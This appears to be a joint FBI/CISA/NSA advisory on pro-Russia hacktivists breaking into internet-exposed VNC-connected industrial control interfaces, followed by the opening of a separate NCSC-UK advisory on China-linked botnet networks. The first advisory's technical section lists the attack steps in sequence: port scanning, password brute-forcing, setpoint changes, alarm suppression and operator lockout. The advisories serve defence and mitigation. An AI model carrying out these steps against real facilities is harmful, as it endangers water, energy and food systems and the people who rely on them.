Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
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Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Defending Against China-Nexus Covert Networks of Compromised Devices
Sat, 25 Jul 2026 09:10:14 +0200


Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it 
Summary
With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: 

Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)
Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)
Japan National Cybersecurity Office (NCO) - 国家サイバー統括室
Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
New Zealand National Cyber Security Centre (NCSC-NZ)
Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)
Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Department of Defense Cyber Crime Center (DC3)
United States Federal Bureau of Investigation (FBI)
United States National Security Agency (NSA) 

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. 
Introduction  
Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. 

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. 


Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage. 


The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  


This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.
Covert Networks 
Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. 

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. 



Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester 



Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. 


The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. 
Typical Network Topology
The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. 

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. 


However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. 




  
      




      A diagram illustrating the basic setup of a covert network.
  

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. 
Protective Advice 
Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  


The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. 


Further guidance for all organizations facing cyber security threats is available on the NCSC website. 
